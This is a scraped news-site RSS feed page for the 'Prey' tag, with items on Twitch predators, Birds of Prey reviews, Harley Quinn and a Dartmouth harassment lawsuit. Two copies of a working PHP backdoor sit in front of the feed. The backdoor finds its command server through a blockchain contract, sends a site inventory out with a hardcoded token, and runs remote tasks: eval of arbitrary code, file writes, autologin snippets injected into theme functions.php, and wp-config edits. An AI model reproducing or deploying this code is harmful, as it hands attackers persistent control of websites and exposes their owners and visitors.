// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Prey – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Sep 2022 20:35:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Prey – Brief News https://briefnews.eu 32 32 Child Predators Mine Twitch to Prey on Kids https://briefnews.eu/child-predators-mine-twitch-to-prey-on-kids/ https://briefnews.eu/child-predators-mine-twitch-to-prey-on-kids/#respond Sat, 24 Sep 2022 20:35:26 +0000 https://briefnews.eu/child-predators-mine-twitch-to-prey-on-kids/ Plus: A leaked trove illuminates Russia’s internet regulator, a report finds Facebook and Instagram violated Palestinian rights, and more.


https://media.wired.com/photos/632e452520bc56769c4131e8/master/pass/Twitch-Child-Predators-Security-GettyImages-1320999349.jpg

]]> https://briefnews.eu/child-predators-mine-twitch-to-prey-on-kids/feed/ 0 Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn (2020) https://briefnews.eu/birds-of-prey-and-the-fantabulous-emancipation-of-one-harley-quinn-2020/ https://briefnews.eu/birds-of-prey-and-the-fantabulous-emancipation-of-one-harley-quinn-2020/#respond Sat, 03 Sep 2022 06:59:37 +0000 https://briefnews.eu/birds-of-prey-and-the-fantabulous-emancipation-of-one-harley-quinn-2020/ Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn

“Number one: no one is like me.” — Harley Quinn

“They say if you want to tell a story right, you gotta start at the beginning,” chirps the titular heroine in the opening moments of Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn. 

Director Cathy Yan’s Birds of Prey is a jittery, glittery joyride through loss, independence, sisterhood and gory vengeance. Graphics burst forward at every opportunity, bright and multicoloured, neon and shining. Like its central figure, they cannot be contained. At the film’s head and tail are a perky cartoon prologue and a vibrant, illustrated closer, respectively, created by two different teams and linked through colour and typography.

Kicking off the film is a spritely sequence by Warner Bros. Animation that exudes Powerpuff energy and neatly sums up the punchy PhD’s provenance, from bouncing babe to Joker paramour and the events of Suicide Squad, so that, thankfully, nobody has to watch that again. 

The film’s mouthful of a title appears after Quinn drives a truck carrying flammables into a chemical refinery. The collision ignites a gorgeous explosion of enormous proportions and the title logo, produced by studio Filmograph, shimmers darkly in the sky above.

It is Quinn’s spunky voice – Margot Robbie delivering a cracked Brooklyn cheerleader fuelled by egg sandwiches and rage – that leads the way through this balls-to-the-wall post-break-up bonanza. As main characters appear on screen, their names appear alongside them, customized to the individual. Minor characters seeking revenge are given graphic names and grievances scribbled in red, blue, yellow, and hot green, an extension of Quinn’s scattered psyche. 

After delivering one manic melee after another, the film finishes with a main-on-end title sequence doused in vast swaths of colour and looped in loose, agitated lines that blink, swing and bleed into the shapes of key setpieces. To create the end sequence, design studio Shine took inspiration from the film’s production design and turned to a tool that hasn’t historically been used for big-budget Hollywood productions: Procreate, Apple’s graphics software for iPad. We chat with Shine about their workflow, the directions that didn’t make it, and how they used Procreate with After Effects and Cinema 4D to create the sequence’s uniquely scrappy look.

A discussion with Creative Director MICHAEL RILEY of Shine and Lead Animator PENELOPE NEDERLANDER.

Michael, your studio, Shine, has been around a long time so it’s a pleasure to finally chat! Tell me a bit about Shine. 

MR: Shine is a small studio. At any given time we’ll have myself, four designer-animators, an editor and a production assistant. We grow when there’s more stuff going on and then we come back down to this size as a constant. We’re lucky to have a lot of repeat clients, mostly broadcast and streaming – some are film, some are advertising. We do some…

RSS & Email Subscribers: Check out the full Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn article at Art of the Title.

]]> https://briefnews.eu/birds-of-prey-and-the-fantabulous-emancipation-of-one-harley-quinn-2020/feed/ 0 TV’s Harley Quinn Set Stage for Birds of Prey: Playing Without Joker Is Aces https://briefnews.eu/tvs-harley-quinn-set-stage-for-birds-of-prey-playing-without-joker-is-aces/ https://briefnews.eu/tvs-harley-quinn-set-stage-for-birds-of-prey-playing-without-joker-is-aces/#respond Wed, 05 Feb 2020 15:54:07 +0000 http://briefnews.eu/tvs-harley-quinn-set-stage-for-birds-of-prey-playing-without-joker-is-aces/

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One of the exciting things about the upcoming Birds of Prey movie is getting to see Harley Quinn on her own, instead of as Joker’s sidekick. But if you can’t wait, there’s already a series that portrays just that: DC Universe’s Harley Quinn.

The adult animated series, which premiered on the DC Universe streaming service back in November, has become increasingly enjoyable every week. The pilot introduces us to Harley Quinn (voiced by The Big Bang Theory‘s Kaley Cuoco), who is happily in love with her boyfriend and partner-in-crime Joker (Alan Tudyk)… until he abandons her in Arkham Asylum. Well, that’s not entirely accurate: throughout the year spent in prison, in which Joker never shows up, Harley continues to be in love, to pine after him, steadfastly believing that he’s going to break her out eventually. Her new best friend Poison Ivy (Bless This Mess‘ Lake Bell) repeatedly tries to convince Harley to leave Joker, to no avail; even after Ivy breaks Harley out, Harley manages to get sucked back into the Clown Prince of Crime’s life. It takes some trickery for Harley to finally see the truth, claiming her emancipation from Joker and aiming to become a member of the criminal underworld on her own terms. Relatedly, the movie’s full title is Birds of Prey (and the Fantabulous Emancipation of One Harley Quinn); it was influenced by Jimmy Palmiotti and Amanda Conner’s comic book “reboot” of the character created by Paul Dini and Bruce Timm for the animated Batman series.

Much of TV’s Harley Quinn functions as a very adult version of a Saturday morning cartoon, with familiar characters and animation styles, but one that’s relentlessly full of swears and graphic violence — watch too many episodes in a row and you might see the bright red blood when you close your eyes. It also takes a decidedly adult and intelligent approach to its subject matter, even when the show gets pretty dumb. The ridiculous jokes (some of which don’t land) and cartoonish violence (I cringed a number of times) is balanced out by the series’ admirable insistence on depicting the realities of abusive relationships, and the way you can warp your own thoughts and memories to make them fit into a narrative that feels safe — even when everyone on the outside is constantly telling you otherwise.

Harley Quinn’s Birds of Prey crew includes Renee Montoya, Huntress, Cassandra Cain and Black Canary

Harley Quinn doesn’t always work—some of the side characters are more eye-rolling than entertaining, and sometimes it feels as if the themes are being beat into your head with Harley’s giant wooden mallet, But when it does, it’s almost exhilarating to watch. The series’ commentary on sexism and misogyny is done through its own unique world. The third episode, “So You Need A Crew?,” centers on how no one will give Harley her own squad because she’s no longer with Joker, and how there’s a glass ceiling for female supervillains. When Harley meets Queen of Fables (Wanda Sykes!), she gets schooled on the unfair standards and limits put on women; in short, women are accepted as long as they don’t get too powerful. When Queen of Fables dared to try and become more powerful than male supervillains, she was punished disproportionately in contrast to the men who are simply thrown into Arkham. There’s also a difference in labels: a man robbing a bank is considered a “criminal mastermind” whereas a woman doing the same is simply a “crazy bitch.”

Much of what works about Harley Quinn is the fact that it never forgets how much trauma is built into Harley because of her past relationship with Joker (and even further back, as the series gives Harley new elements in her backstory). In “Being Harley Quinn,” Harley realizes that she can’t make basic decisions because she has no idea who she is without the abuser she was tied to for so long. As we literally dive into her mind, Harley investigates her own subconscious, which is littered with her ex, and takes a peek at her repressed memories, where she learns an uncomfortable truth.

At the same time, Harley Quinn remains endlessly fun. She does eventually assemble a ragtag crew of misfits — including a reimagined King Shark, though I do wish her crew didn’t include any men—and their criminal attempts help move the season along. There’s a wonderful friendship between Harley and Ivy, who become roommates, and which frequently sees a patient Ivy tries to rein in a naive, impulsive Harley. All of the voice actors are great, particularly Cuoco, but also Christoper Meloni’s sad-sack Commissioner Gordon or James Adomian’s take on Bane, which became an instant favorite and deserves a spin-off of his own.

But the center of it is always Harley, a reimagined antiheroine bouncing around with a childlike enthusiasm for mischief. It’s so easy to root for Harley despite her, uh, murderous streak, because it’s also so easy to see her simply as someone aiming to become her own woman — and yes, her own criminal — independent from her abusive ex.

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]]> https://briefnews.eu/tvs-harley-quinn-set-stage-for-birds-of-prey-playing-without-joker-is-aces/feed/ 0 US college let booze-soaked, tenured ‘predators’ club’ prey on students sexually for YEARS – lawsuit https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/ https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/#respond Sat, 17 Nov 2018 01:52:49 +0000 http://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/ Dartmouth College administrators covered up for a trio of lewd professors who used their classrooms as a sexual hunting ground for over a decade, even threatening victims who spoke up, according to a new lawsuit.

Seven former graduate students are suing the school, alleging staff “willfully ignored” more than 10 years’ worth of complaints about the institutionalized sexual harassment infecting the Department of Psychological and Brain Sciences from top to bottom. When students did complain –about groping, harassing comments, even rape– administrators failed to act, hinting instead at unpleasant consequences for the complainants.

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The plaintiffs are seeking $ 70 million in damages and want the New Hampshire ivy to adopt policies that would prevent a repeat of such abuse. Lawyer Deborah Marcuse explained the suit, filed Thursday, was a last-ditch effort to make Dartmouth a place where women can “be safe and able to, as they say, put their heads down and do science.”

The professors, Todd Heatherton, William Kelley and Paul Whalen, allegedly turned the psychology department into a “21st Century Animal House,” complete with a hot tub, nonstop drinking, vulgar comments (including a contest to staff the “hottest lab”), and a bacchanalian atmosphere punctuated with unwanted sexual conduct, from groping to rape.

